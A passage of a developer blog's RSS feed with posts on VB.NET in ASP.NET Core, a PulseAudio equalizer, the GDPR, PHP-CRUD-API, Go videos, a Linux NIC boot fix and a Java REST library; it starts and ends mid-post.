types&rdquo;) have not been implemented for VB in ASP.Net Core.</p>
<h3 id="example-web-application-is-missing">Example Web Application is missing</h3>
<p>Nevertheless you can write a web application in ASP.Net Core 2.1, but not so
easy. Visual Studio 2017 is missing the Visual Basic Web Application example for
ASP.Net Core. This shouldn&rsquo;t hold you back as you can simply port the C# one to
VB.net with a little help from the
<a href="http://converter.telerik.com/">Telerik Code Converter</a>. The next problem you
run into is the lack of vbhtml (VB Razor templates) support.</p>
<h3 id="lack-of-vbhtml-vb-razor-templates-support">Lack of vbhtml (VB Razor templates) support</h3>
<p>I looked into creating my own vbhtml support by writing a
<a href="https://stackoverflow.com/questions/49819385/how-to-register-custom-tool-with-visual-studio-2017-to-make-it-work">Single File Generator in Visual Studio 2017</a>.
Support for Razor in VB is
<a href="https://github.com/aspnet/Home/issues/2738">quite complicated</a> according to
Microsoft. Porting the ASPX View Engine a.k.a.
<a href="https://github.com/ASP-NET-MVC/aspnetwebstack/blob/master/src/System.Web.Mvc/WebFormViewEngine.cs">WebFormViewEngine</a>
to .Net Core is probably easier. Although it would require to have the missing
XSS protection and TDD support features added, as you can see
<a href="https://www.csharpstar.com/aspx-view-engine-vs-razor-view-engine-in-asp-net-mvc/">here</a>.</p>
<h3 id="bug-in-build-process">Bug in build process</h3>
<p>I accepted that I needed to write my templates in cshtml (Razor C# dialect).
Still I ran into an error while compiling:</p>
<pre><code>fail: Microsoft.AspNetCore.Diagnostics.DeveloperExceptionPageMiddleware[1]
    An unhandled exception has occurred while executing the request.
Microsoft.AspNetCore.Mvc.Razor.Compilation.CompilationFailedException: One or more compilation failures occurred:
wjrfi1bi.4iy(1,1): error CS8301: Invalid name for a preprocessing symbol; ',NETCOREAPP,NETCOREAPP2_1' is not a valid identifier
at Microsoft.AspNetCore.Mvc.Razor.Internal.RazorViewCompiler.CompileAndEmit(RazorCodeDocument codeDocument, String generatedCode)
at Microsoft.AspNetCore.Mvc.Razor.Internal.RazorViewCompiler.CompileAndEmit(String relativePath)
at Microsoft.AspNetCore.Mvc.Razor.Internal.RazorViewCompiler.OnCacheMiss(String normalizedPath)
--- End of stack trace from previous location where exception was thrown ---
</code></pre>
<p>This is caused by a wrongly created &ldquo;<code>bin/Debug/netcoreapp2.1/App.deps.json</code>&rdquo;
having the string &ldquo;<code>,NETCOREAPP,NETCOREAPP2_1</code>&rdquo; which should be replaced by
&ldquo;<code>NETCOREAPP2_1</code>&rdquo;. After your first build you can change this and then your
incremental builds will (probably) not fail. Maybe I&rsquo;m doing something wrong or
maybe this is indeed a bug.</p>
<p>Code:
<a href="https://github.com/mevdschee/aspnetcorevb">https://github.com/mevdschee/aspnetcorevb</a></p>
<p>Happy coding!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Equalizer for PulseAudio in Ubuntu 18.04</title>
      <link>https://www.tqdev.com/2018-equalizer-for-pulseaudio-in-ubuntu-18-04/</link>
      <pubDate>Fri, 27 Jul 2018 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-equalizer-for-pulseaudio-in-ubuntu-18-04/</guid>
      <description>&lt;p&gt;Do you like late night programming, while listening to music? Do you have these
fancy modern speakers that produce way too much bass? Well I do. I use Ubuntu
and &amp;ldquo;Audacious&amp;rdquo; (a WinAmp clone) as my music player and it has a very nice
graphical equalizer. But whenever I switch to YouTube or a streaming radio
station the bass is again way too loud.&lt;/p&gt;
&lt;p&gt;To have maximum freedom while also keeping my neighbors happy I was in need of a
system-wide equalizer. I have found the equalizer module of PulseAudio which
does exactly what I want. PulseAudio is the standard sound system for a while in
Ubuntu Linux. You can play with the equalizer by issuing the following commands:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Do you like late night programming, while listening to music? Do you have these
fancy modern speakers that produce way too much bass? Well I do. I use Ubuntu
and &ldquo;Audacious&rdquo; (a WinAmp clone) as my music player and it has a very nice
graphical equalizer. But whenever I switch to YouTube or a streaming radio
station the bass is again way too loud.</p>
<p>To have maximum freedom while also keeping my neighbors happy I was in need of a
system-wide equalizer. I have found the equalizer module of PulseAudio which
does exactly what I want. PulseAudio is the standard sound system for a while in
Ubuntu Linux. You can play with the equalizer by issuing the following commands:</p>
<pre><code>pactl load-module module-equalizer-sink
pactl load-module module-dbus-protocol
qpaeq
</code></pre>
<p>This will show you a nice graphical equalizer. The equalizer settings are
automatically persisted, but to not have to enable the equalizer plugin after
each boot you may want to edit &ldquo;/etc/pulse/default.pa&rdquo; and add the following two
lines:</p>
<pre><code>load-module module-equalizer-sink
load-module module-dbus-protocol
</code></pre>
<p>This will enable the modules on your next boot. The dbus module is only needed
if you want to be able to run the &ldquo;qpaeq&rdquo; command to adjust your equalizer
settings. The &ldquo;equalizer&rdquo; module is the one that actually transforms the sound.</p>
<p>Happy (late night) programming (while listening to music)!</p>
]]></content:encoded>
    </item>
    <item>
      <title>The &#34;Boring Software&#34; manifesto</title>
      <link>https://www.tqdev.com/2018-the-boring-software-manifesto/</link>
      <pubDate>Mon, 18 Jun 2018 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-the-boring-software-manifesto/</guid>
      <description>&lt;p&gt;As software developers we are tired of the false claims made by evangelists of
the latest and greatest technology. We will no longer confront them with their
lack of understanding of computer science fundamentals, nor will we defend our
lack of knowledge of their hyped and volatile technologies. The state of
industry is forcing us to value:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Not only working software,
&lt;ul&gt;
&lt;li&gt;but also well-crafted software,
&lt;ul&gt;
&lt;li&gt;built exclusively with popular and proven tools.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Not only responding to change,
&lt;ul&gt;
&lt;li&gt;but also steadily adding value,
&lt;ul&gt;
&lt;li&gt;while reducing the dependencies and complexity.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Not only individuals and interactions,
&lt;ul&gt;
&lt;li&gt;but also a community of professionals,
&lt;ul&gt;
&lt;li&gt;that share best practices with verifiable claims.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Not only customer collaboration,
&lt;ul&gt;
&lt;li&gt;but also productive partnerships,
&lt;ul&gt;
&lt;li&gt;to reduce the scope of the software we build.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That is, in pursuit of &amp;ldquo;agility and craftsmanship&amp;rdquo; we have found &amp;ldquo;boring
software&amp;rdquo; to be indispensable.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>As software developers we are tired of the false claims made by evangelists of
the latest and greatest technology. We will no longer confront them with their
lack of understanding of computer science fundamentals, nor will we defend our
lack of knowledge of their hyped and volatile technologies. The state of
industry is forcing us to value:</p>
<ul>
<li>Not only working software,
<ul>
<li>but also well-crafted software,
<ul>
<li>built exclusively with popular and proven tools.</li>
</ul>
</li>
</ul>
</li>
<li>Not only responding to change,
<ul>
<li>but also steadily adding value,
<ul>
<li>while reducing the dependencies and complexity.</li>
</ul>
</li>
</ul>
</li>
<li>Not only individuals and interactions,
<ul>
<li>but also a community of professionals,
<ul>
<li>that share best practices with verifiable claims.</li>
</ul>
</li>
</ul>
</li>
<li>Not only customer collaboration,
<ul>
<li>but also productive partnerships,
<ul>
<li>to reduce the scope of the software we build.</li>
</ul>
</li>
</ul>
</li>
</ul>
<p>That is, in pursuit of &ldquo;agility and craftsmanship&rdquo; we have found &ldquo;boring
software&rdquo; to be indispensable.</p>
<h3 id="some-examples">Some examples</h3>
<p>The things on the left that are well-understood and proven, while the things on
the right are hyped and volatile.</p>
<ul>
<li>3-tier applications vs. micro services</li>
<li>relational database vs. NoSQL</li>
<li>page reloads vs. single page applications</li>
</ul>
<p>There are many other examples, but this should get the idea across.</p>
<p>Happy coding!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="http://agilemanifesto.org/">Agile Manifesto</a></li>
<li><a href="http://manifesto.softwarecraftsmanship.org/">Manifesto for Software Craftsmanship</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Will the GDPR kill Google analytics?</title>
      <link>https://www.tqdev.com/2018-gdpr-kill-google-analytics/</link>
      <pubDate>Wed, 30 May 2018 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-gdpr-kill-google-analytics/</guid>
      <description>&lt;p&gt;My common sense says that visits to any website should only be recorded by the
operator/owner of the website (and for operational purposes only). This may
change when agreed otherwise with the visitor (opt-in). My understanding of the
&amp;ldquo;cookie law&amp;rdquo; is that such opt-in is required and that Google analytics without
opt-in has thus already been forbidden (in the Netherlands) several years ago.&lt;/p&gt;
&lt;p&gt;My reasoning is that A) your site functions fine without Google analytics and B)
you are giving (employees of) another company (Google in this case) access to
personal information of your visitors. C) it is clear an analytics service costs
money to operate and since you are not paying for it, you should question how
they make money. I understand that just A and B create a thin line and that you
could argue by that logic that the entire spectrum of public cloud services
(from renting software to infrastructure) requires opt-in.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>My common sense says that visits to any website should only be recorded by the
operator/owner of the website (and for operational purposes only). This may
change when agreed otherwise with the visitor (opt-in). My understanding of the
&ldquo;cookie law&rdquo; is that such opt-in is required and that Google analytics without
opt-in has thus already been forbidden (in the Netherlands) several years ago.</p>
<p>My reasoning is that A) your site functions fine without Google analytics and B)
you are giving (employees of) another company (Google in this case) access to
personal information of your visitors. C) it is clear an analytics service costs
money to operate and since you are not paying for it, you should question how
they make money. I understand that just A and B create a thin line and that you
could argue by that logic that the entire spectrum of public cloud services
(from renting software to infrastructure) requires opt-in.</p>
<p>On one extreme of this spectrum you have rented servers, where you can prevent
the operator to gain access and the operator has to break laws to hack into the
data of your rented server. Still I feel one is obliged to take serious measures
to prevent such access, such as SSL, public key based login and full disk
encryption. This way you can be relatively sure that even the operator of the
rented server cannot access your data. On the other side you have
software-as-a-service (such as Google analytics) where you let a third party
store personal information of people that you have no agreement with.</p>
<p>My moral compass also says that sharing a visitor&rsquo;s personal information (such
as IP addresses or social media identifiers) with a third party without the
visitor&rsquo;s consent should not be allowed. This is not limited to Google
analytics, but also applies to Google&rsquo;s +1 and Facebook&rsquo;s like button that also
do requests to third party servers. These social buttons also share IP addresses
and allow for (and make use of) cookie and user agent string based tracking.
IMHO, when you are using Google analytics on your website you are buying an
analytics service with money gained from stealing personal information from your
visitors. I feel that that is unethical.</p>
<p>Whether or not the new GDPR law deals with any of this is not clear to me, but
for sure the discussion has intensified and it seems some companies start to
comply. Probably because this law now applies to all sites with European
visitors, including American sites. One of such sites is eu.USAtoday.com on
which &ldquo;ublock origin&rdquo; with privacy protective settings is not blocking anything.
Note that an &ldquo;ad blocker&rdquo; is a strange name for software that protects your
privacy to a level that is mandatory by law. It almost sounds as if you are
stealing someone&rsquo;s source of income. While in fact it is not you, but the sites
that are stealing (and selling) your personal information.</p>
<p>Let&rsquo;s hope the GDPR makes the web a better place.</p>
]]></content:encoded>
    </item>
    <item>
      <title>PHP-CRUD-API version 2 uses PDO</title>
      <link>https://www.tqdev.com/2018-php-crud-api-version-2-uses-pdo/</link>
      <pubDate>Thu, 12 Apr 2018 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-php-crud-api-version-2-uses-pdo/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://github.com/mevdschee/php-crud-api&#34;&gt;PHP-CRUD-API&lt;/a&gt; is now 4 years old. It
is my most successful open source project and it has acquired 1400 Github stars,
150 watchers, 17 contributors and over 500 forks. I have also ported the core of
the script into 7 languages and did performance analysis on that. I have
answered over 300 github issues and I am very thankful for the people in the
community that were helping out with these issues. I also handled over 40 pull
requests and 36 where merged. I have learned some lessons about it&amp;rsquo;s good and
bad parts and I&amp;rsquo;m trying to apply these lessons in a new version.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p><a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a> is now 4 years old. It
is my most successful open source project and it has acquired 1400 Github stars,
150 watchers, 17 contributors and over 500 forks. I have also ported the core of
the script into 7 languages and did performance analysis on that. I have
answered over 300 github issues and I am very thankful for the people in the
community that were helping out with these issues. I also handled over 40 pull
requests and 36 where merged. I have learned some lessons about it&rsquo;s good and
bad parts and I&rsquo;m trying to apply these lessons in a new version.</p>
<h3 id="open-source-and-second-system-effect">Open source and second system effect</h3>
<p>I do this open-source work next to my day job my family with two young kids, so
I really do this in my spare time. Nevertheless I am doing a full rewrite from
scratch and it is nearing completion (I expect another month or two of work).</p>
<p>It has some breaking changes and because I&rsquo;m following the
<a href="https://semver.org/">semver standard</a> I will call it &ldquo;version 2&rdquo;. It
incorporates the lessons learned so far about the good and the bad parts. On the
other hand I&rsquo;m also trying to keep things simple and to avoid the
<a href="https://en.wikipedia.org/wiki/Second-system_effect">Second-system effect</a>.</p>
<h3 id="distribution-in-a-single-php-file">Distribution in a single PHP file</h3>
<p>PHP-CRUD-API is currently written and distributed as a single PHP file and thus
it is very easy to use. The code structure would have been better with a lot
more classes, one file per class and the use of namespaces. In version 2 there
are more files, but there is also a build script that combines all files and
namespaces into a single file and namespace. I will also distribute the combined
PHP file so that you do not even have to run the combine script in order to use
the software.</p>
<h3 id="switching-sql_srv-and-mysqli-for-pdo">Switching sql_srv and mysqli for PDO</h3>
<p>Another thing I would do different today is that I would use PDO. Since I
targeted SQL server I thought it would be best to not use PDO (a database driver
abstraction layer). Nowadays the official Microsoft driver is also available as
a PDO driver so that reasoning is no longer valid. It should, at least in
theory, be easier to add support for new database drivers in this new version
due to the use of PDO.</p>
<h3 id="a-better-json-structure">A better JSON structure</h3>
<p>The most critical thing to change is the generated JSON structure. It turned out
I overlooked the possibility that a class has two foreign key relations to the
same table. This happens for instance when you have a data model describing a
blog and the posts have both an author (user) and a reviewer (user). I have not
made any change so far to support this as it would require a breaking change.
Version 2 will support this.</p>
<h3 id="version-2-and-breaking-changes">Version 2 and breaking changes</h3>
<p>I care deeply about stability and backward compatibility, so until now I have
not improved the code in a way that breaks this compatibility. Version 2 will
contain such breaking changes, but will hopefully also improve the structure of
the software and therefore its maintainability and re-usability. Because it is a
complete rewrite from scratch it will most likely also contain some new bugs. To
avoid as many bugs as possible I have taken all tests from version 1 and ported
them to version 2. This may help, but this is by no means a guarantee that there
are no bugs in this new version.</p>
<h3 id="sneak-preview">Sneak preview</h3>
<p>Are you currently using PHP-CRUD-API and you want to see what I&rsquo;m working on? I
invite you to take a look at the implementation of version 2. The PHP version is
growing fast and features are added almost daily. Check it out on github:</p>
<p><a href="https://github.com/mevdschee/php-crud-api">https://github.com/mevdschee/php-crud-api</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>The &#34;JustForFunc&#34; Go YouTube videos</title>
      <link>https://www.tqdev.com/2018-justforfunc-go-youtube-videos/</link>
      <pubDate>Fri, 09 Mar 2018 09:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-justforfunc-go-youtube-videos/</guid>
      <description>&lt;p&gt;Francesc Campoy Flores is the VP of Developer Relations at
&lt;a href=&#34;https://sourced.tech/&#34;&gt;source{d}&lt;/a&gt;. He has a passion for developer relations,
specifically when it comes to Go and anything that can help developers be more
productive and happier (&lt;a href=&#34;https://campoy.cat/&#34;&gt;source&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Previously, he was a Developer Advocate for the Go team at Google and for Google
Cloud Platform. He has been working closely with the Go team at Google since
2012, working to make the language as accessible as possible to everyone.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Francesc Campoy Flores is the VP of Developer Relations at
<a href="https://sourced.tech/">source{d}</a>. He has a passion for developer relations,
specifically when it comes to Go and anything that can help developers be more
productive and happier (<a href="https://campoy.cat/">source</a>).</p>
<p>Previously, he was a Developer Advocate for the Go team at Google and for Google
Cloud Platform. He has been working closely with the Go team at Google since
2012, working to make the language as accessible as possible to everyone.</p>
<p>In this blog post you will find his extremely inspiring and educational YouTube
videos titled &ldquo;justforfunc&rdquo;. I can wholeheartedly recommend these videos to
anyone interested in Go programming.</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=zgSZNCltUD0">33: The Rise And Fall of CORBA</a>
[21:52]</li>
<li><a href="https://www.youtube.com/watch?v=WvWPGVKLvR4">32: CLI tools with Cobra</a>
[27:08]</li>
<li><a href="https://www.youtube.com/watch?v=uolTUtioIrc">31: gRPC Basics</a> [34:08]</li>
<li><a href="https://www.youtube.com/watch?v=_jQ3i_fyqGA">30: The Basics of Protocol Buffers</a>
[28:31]</li>
<li><a href="https://www.youtube.com/watch?v=ifBUfIb7kdo">29: Dependency injection in a code review</a>
[28:09]</li>
<li><a href="https://www.youtube.com/watch?v=2AulMm-hsdI">28: Basic Benchmarks</a> [20:32]</li>
<li><a href="https://www.youtube.com/watch?v=B64hIRjNvLc">27: Two ways of merging N channels</a>
[16:15]</li>
<li><a href="https://www.youtube.com/watch?v=t9bEg2A4jsw">26: Why are there nil channels in Go?</a>
[12:06]</li>
<li><a href="https://www.youtube.com/watch?v=YRWCa84pykM">25: Deeper program analysis with go/parser</a>
[36:30]</li>
<li><a href="https://www.youtube.com/watch?v=k23xhJoTbI4">24: What&rsquo;s the most common identifier in the Go stdlib?</a>
[17:02]</li>
<li><a href="https://www.youtube.com/watch?v=77ZFKuMLkp4">23: Plotting latency distributions with gonum</a>
[38:28]</li>
<li><a href="https://www.youtube.com/watch?v=ySy3sR1LFCQ">22: Using the Go execution tracer</a>
[35:55]</li>
<li><a href="https://www.youtube.com/watch?v=zBc338CZRpk">21: Reviewing ursho II - using PostgreSQL</a>
[19:24]</li>
<li><a href="https://www.youtube.com/watch?v=SWKuYLqouIY">20: Code reviewing ursho (part 1)</a>
[36:54]</li>
<li><a href="https://www.youtube.com/watch?v=LHZ2CAZE6Gs">19: Mastering io.Pipes</a> [41:24]</li>
<li><a href="https://www.youtube.com/watch?v=Vg603e9C-Vg">18: Understanding Go's type aliases</a>
[38:58]</li>
<li><a href="https://www.youtube.com/watch?v=DjZMKKfNVMc">17: Contributing to the Go project</a>
[42:49]</li>
<li><a href="https://www.youtube.com/watch?v=hVFEV-ieeew">16: Unit testing HTTP servers</a>
[48:31]</li>
<li><a href="https://www.youtube.com/watch?v=c5ufcpTGIJM">15: A code review with logging, errors, and signals</a>
[37:46]</li>
<li><a href="https://www.youtube.com/watch?v=SQeAKSJH4vw">14: A twitter bot and systemd (that runs free on GCP)</a>
[36:21]</li>
<li><a href="https://www.youtube.com/watch?v=yuW6BwOS8Eg">13: More text to speech with cgo and Docker multistage builds! (4k)</a>
[45:46]</li>
<li><a href="https://www.youtube.com/watch?v=XaMr--wAuSI">12: A Text to Speech server with gRPC and Kubernetes</a>
[47:28]</li>
<li><a href="https://www.youtube.com/watch?v=nhElL62BSn0">11: Code review of an IRC package&rsquo;s API</a>
[38:27]</li>
<li><a href="https://www.youtube.com/watch?v=8M90t0KvEDY">10: Implementing the context package</a>
[40:00]</li>
<li><a href="https://www.youtube.com/watch?v=LSzR0VEraWw">9: The Context Package</a> [36:27]</li>
<li><a href="https://www.youtube.com/watch?v=jy9XKfYjtwE">8: Flappy Gopher III - Collision detection</a>
[47:24]</li>
<li><a href="https://www.youtube.com/watch?v=tX_Fgt0gVbQ">7: Flappy Gopher II - Handling Events</a>
[35:23]</li>
<li><a href="https://www.youtube.com/watch?v=aYkxFbd6luY">6: Flappy Gopher</a> [43:24]</li>
<li><a href="https://www.youtube.com/watch?v=4D506W1AjeM">5: Defining a Color Flag in Go</a>
[29:47]</li>
<li><a href="https://www.youtube.com/watch?v=MnbMWNR_XZc">4: Code Review for a Twitter client</a>
[42:01]</li>
<li><a href="https://www.youtube.com/watch?v=uIA1s3Rhpv8">3: The Magic Gate (part 2)</a>
[36:56]</li>
<li><a href="https://www.youtube.com/watch?v=mTd3hHUy9OU">2: The Magic Gate (part 1)</a>
[17:38]</li>
<li><a href="https://www.youtube.com/watch?v=eIWFnNz8mF4">1: A Code Review</a> [35:25]</li>
<li><a href="https://www.youtube.com/watch?v=0NTKMKDsCTE">0: Hello, World!</a> [1:37]</li>
</ul>
<p>Thank you so much Francesc, very well done!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Intel 110T 82572EI (e1000e) PCI-e</title>
      <link>https://www.tqdev.com/2018-intel-110t-82572ei-e1000e-pci-e/</link>
      <pubDate>Tue, 27 Feb 2018 07:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-intel-110t-82572ei-e1000e-pci-e/</guid>
      <description>&lt;p&gt;The Dell &lt;a href=&#34;http://www.dell.com/en-us/work/shop/povw/poweredge-r730xd&#34;&gt;R730xd&lt;/a&gt; is
a really awesome machine. It has 2 CPU&amp;rsquo;s and you can put 24 drives in it. It
also sports a high performing H730 (LSI MegaRaid) controller. It is certified
for
&lt;a href=&#34;https://certification.ubuntu.com/certification/hardware/201409-15549/&#34;&gt;Ubuntu&lt;/a&gt;
and &lt;a href=&#34;https://access.redhat.com/ecosystem/hardware/1205673&#34;&gt;CentOS&lt;/a&gt;, so you have
guaranteed smooth sailing when installing Linux&amp;hellip; right? Yes, you do!&lt;/p&gt;
&lt;h3 id=&#34;booting-to-a-black-screen&#34;&gt;Booting to a black screen&lt;/h3&gt;
&lt;p&gt;But not when you install an
&lt;a href=&#34;https://ark.intel.com/products/20719/Intel-82572EI-Gigabit-Ethernet-Controller&#34;&gt;Intel 82572EI&lt;/a&gt;
based HP 110T PCI-e gigabit ethernet card in the machine like I did. In that
case newer kernels won&amp;rsquo;t boot. They will try to load the kernel, but then give a
black screen and possibly a blinking cursor, but nothing will happen. This has
nothing to do with the R730, but everything with this specific PCI-e card, the
power saving features in new kernels and how the (e1000e) kernel driver handles
these features.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>The Dell <a href="http://www.dell.com/en-us/work/shop/povw/poweredge-r730xd">R730xd</a> is
a really awesome machine. It has 2 CPU&rsquo;s and you can put 24 drives in it. It
also sports a high performing H730 (LSI MegaRaid) controller. It is certified
for
<a href="https://certification.ubuntu.com/certification/hardware/201409-15549/">Ubuntu</a>
and <a href="https://access.redhat.com/ecosystem/hardware/1205673">CentOS</a>, so you have
guaranteed smooth sailing when installing Linux&hellip; right? Yes, you do!</p>
<h3 id="booting-to-a-black-screen">Booting to a black screen</h3>
<p>But not when you install an
<a href="https://ark.intel.com/products/20719/Intel-82572EI-Gigabit-Ethernet-Controller">Intel 82572EI</a>
based HP 110T PCI-e gigabit ethernet card in the machine like I did. In that
case newer kernels won&rsquo;t boot. They will try to load the kernel, but then give a
black screen and possibly a blinking cursor, but nothing will happen. This has
nothing to do with the R730, but everything with this specific PCI-e card, the
power saving features in new kernels and how the (e1000e) kernel driver handles
these features.</p>
<h3 id="troubleshooting">Troubleshooting</h3>
<p>First we can try to remove the cards (or disable them in the BIOS). If you don&rsquo;t
know in which slots the cards are located the R730xd has a nice BIOS based
hardware scan to find out. The BIOS also supports disabling PCI slots, so we can
virtually remove the card. After removing the cards the system boots as
expected. This leads us to explore the card&rsquo;s kernel driver, the &ldquo;e1000e&rdquo;.</p>
<h3 id="power-management">Power management</h3>
<p>We had already figured out that booting with grub parameter &ldquo;<code>acpi=off</code>&rdquo; would
work, but this disables all power management, having sever side effects. This
setting will cause you to have only one CPU thread (of 48) active, so that is
not really an option. It does indicate some power management is causing
problems.
<a href="https://serverfault.com/questions/193114/linux-e1000e-intel-networking-driver-problems-galore-where-do-i-start">Other people</a>
where helped by turning ASPM off.</p>
<blockquote>
<p>Active State Power Management (ASPM) is a power management protocol used to
manage PCI Express-based (PCIe) serial link devices as links become less
active over time. It is normally used on laptops and other mobile Internet
devices to extend battery life. -
<a href="https://en.wikipedia.org/wiki/Active_State_Power_Management">Wikipedia</a></p></blockquote>
<h3 id="issue-resolved">Issue resolved</h3>
<p>It turned out that ASPM caused the malfunction of the Intel based PCI-e card. We
decided that ASPM was not useful in a datacenter setting, since it is mainly
designed for laptops to extend battery life. ASPM can be disabled with grub
parameter &ldquo;pcie_aspm=off&rdquo;. The following steps disable ASPM permanently in the
boot configuration <a href="https://wiki.centos.org/HowTos/Grub2">(source)</a>:</p>
<ol>
<li>edit &ldquo;<code>/etc/default/grub</code>&rdquo; to contain &ldquo;<code>pcie_aspm=off</code>&rdquo; in
&ldquo;<code>GRUB_CMDLINE_LINUX</code>&rdquo;</li>
<li>recreate grub config using:
&ldquo;<code>grub2-mkconfig -o /boot/efi/EFI/centos/grub.cfg</code>&rdquo;</li>
<li>reboot</li>
</ol>
<p>Hopefully this post will save you some time.</p>
]]></content:encoded>
    </item>
    <item>
      <title>REST API using Spring Boot and jOOQ </title>
      <link>https://www.tqdev.com/2018-rest-api-using-spring-boot-and-jooq/</link>
      <pubDate>Sat, 17 Feb 2018 23:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-rest-api-using-spring-boot-and-jooq/</guid>
      <description>&lt;p&gt;Almost every backend application that is created today has a REST API. And most
&amp;ldquo;serious&amp;rdquo; applications have a hundred database tables or more. In such case
there are two ways to create a consistent REST API: code generation and
reflection in runtime. Both methods have upsides and downsides. I have
implemented a runtime reflection based REST API before
(&lt;a href=&#34;https://github.com/mevdschee/php-crud-api&#34;&gt;in PHP&lt;/a&gt;) and have now done this
again in a
&lt;a href=&#34;https://github.com/mevdschee/java-crud-api/tree/master/full&#34;&gt;Java library&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&#34;ambitions-are-high&#34;&gt;Ambitions are high&lt;/h3&gt;
&lt;p&gt;I have seen many slow and inconsistent REST API&amp;rsquo;s in my career. That&amp;rsquo;s why the
ambitions of this library are high:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Almost every backend application that is created today has a REST API. And most
&ldquo;serious&rdquo; applications have a hundred database tables or more. In such case
there are two ways to create a consistent REST API: code generation and
reflection in runtime. Both methods have upsides and downsides. I have
implemented a runtime reflection based REST API before
(<a href="https://github.com/mevdschee/php-crud-api">in PHP</a>) and have now done this
again in a
<a href="https://github.com/mevdschee/java-crud-api/tree/master/full">Java library</a>.</p>
<h3 id="ambitions-are-high">Ambitions are high</h3>
<p>I have seen many slow and inconsistent REST API&rsquo;s in my career. That&rsquo;s why the
ambitions of this library are high:</p>
<ul>
<li>high performance: &gt; 5000 transactions per second on a laptop</li>
<li>easy to use Spring Boot add-on for most databases (using jOOQ)</li>
<li>Production ready with hooks to add security and validation</li>
</ul>
<p>It all boils down to: you should be tempted to use it on your next OLTP build!</p>
<h3 id="opinionated">Opinionated</h3>
<p>The library is certainly opinionated, so if you disagree with any of the
following you should probably look at other tools, such as
<a href="https://projects.spring.io/spring-data-rest/">spring-data-rest</a>.</p>
<h4 id="1-single-fielded-technical-auto-increment-or-uuid-primary-keys-only">1) Single fielded technical (auto increment or UUID) primary keys only.</h4>
<p>Primary keys are fields in the record that uniquely identify the record and that
do not change. For example: An email address may be unique for a user, but it
may be changed, so it does not make a good primary key. You can only guarantee
that a value won&rsquo;t change when it does not mean anything. therefore technical
primary keys are the way to go.</p>
<h4 id="2-the-difference-of-rests-put-vs-patch-cannot-be-applied-to-databases">2) The difference of REST&rsquo;s PUT vs. PATCH cannot be applied to databases.</h4>
<p>If PUT is a full update, then that can never be successfully executed as
identity columns (primary keys) may not be updated. If you are leaving out
primary keys, then you should be using PATCH (according to the standard). When
you are creating a record you may be leaving out values as well, as left out
fields have a specific behavior in SQL: during creation they are set to default.
When we are updating a record we can also specify the fields to update. So we
should either always use PATCH or allow partial updates via PUT. I think the
latter makes more sense.</p>
<h4 id="3-no-hateoas-such-as-hal-metadata-is-exposed-on-different-endpoints">3) No HATEOAS such as HAL. Metadata is exposed on different endpoints.</h4>
<p>If you want metadata, then you may request it on a separate endpoint. There is
really no benefit in sending both in the same request. I&rsquo;m not saying metadata
is useless, on the contrary: There are great initiatives, such as Swagger, that
allow you to use the metadata to generate documentation.</p>
<h3 id="features">Features</h3>
<p>This is where the library should really stand out. All features you can dream of
should be included. So much that you would get demotivated to &ldquo;roll your own&rdquo;. A
selection of the features I want to implement:</p>
<ul>
<li>Supports POST variables as input (x-www-form-urlencoded)</li>
<li>Supports a JSON object as input</li>
<li>Supports a JSON array as input (batch insert)</li>
<li>Supports file upload from web forms (multipart/form-data)</li>
<li>Condensed JSON output: first row contains field names (non-default)</li>
<li>Sanitize and validate input using callbacks</li>
<li>Permission system for databases, tables, columns and records</li>
<li>Multi-tenant database layouts are supported</li>
<li>Multi-domain CORS support for cross-domain requests</li>
<li>Combined requests with support for multiple table names</li>
<li>Search support on multiple criteria</li>
<li>Pagination, seeking, sorting and column selection</li>
<li>Relation detection and filtering on foreign keys</li>
<li>Foreign keys are turned into objects on demand</li>
<li>Atomic increment support via PATCH (for counters)</li>
<li>Binary fields supported with base64 encoding</li>
<li>Spatial/GIS fields and filters supported with WKT</li>
<li>Unstructured data support through JSON/JSONB</li>
<li>Generate API documentation using Swagger tools</li>
<li>Authentication via JWT token or username/password</li>
</ul>
<p>Currently many features are already working and I would invite you to give it a
try.</p>
<p><a href="https://github.com/mevdschee/java-crud-api/tree/master/full">Find the code on Github!</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Upgrading Go 1.6 in Ubuntu 16.04</title>
      <link>https://www.tqdev.com/2018-upgrading-go-1-6-in-ubuntu-16-04/</link>
      <pubDate>Wed, 14 Feb 2018 11:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-upgrading-go-1-6-in-ubuntu-16-04/</guid>
      <description>&lt;p&gt;Go is an awesome new language that I love to write code in. I&amp;rsquo;m working on
Ubuntu 16.04 and it comes with Go version 1.6. This works fine, until you need
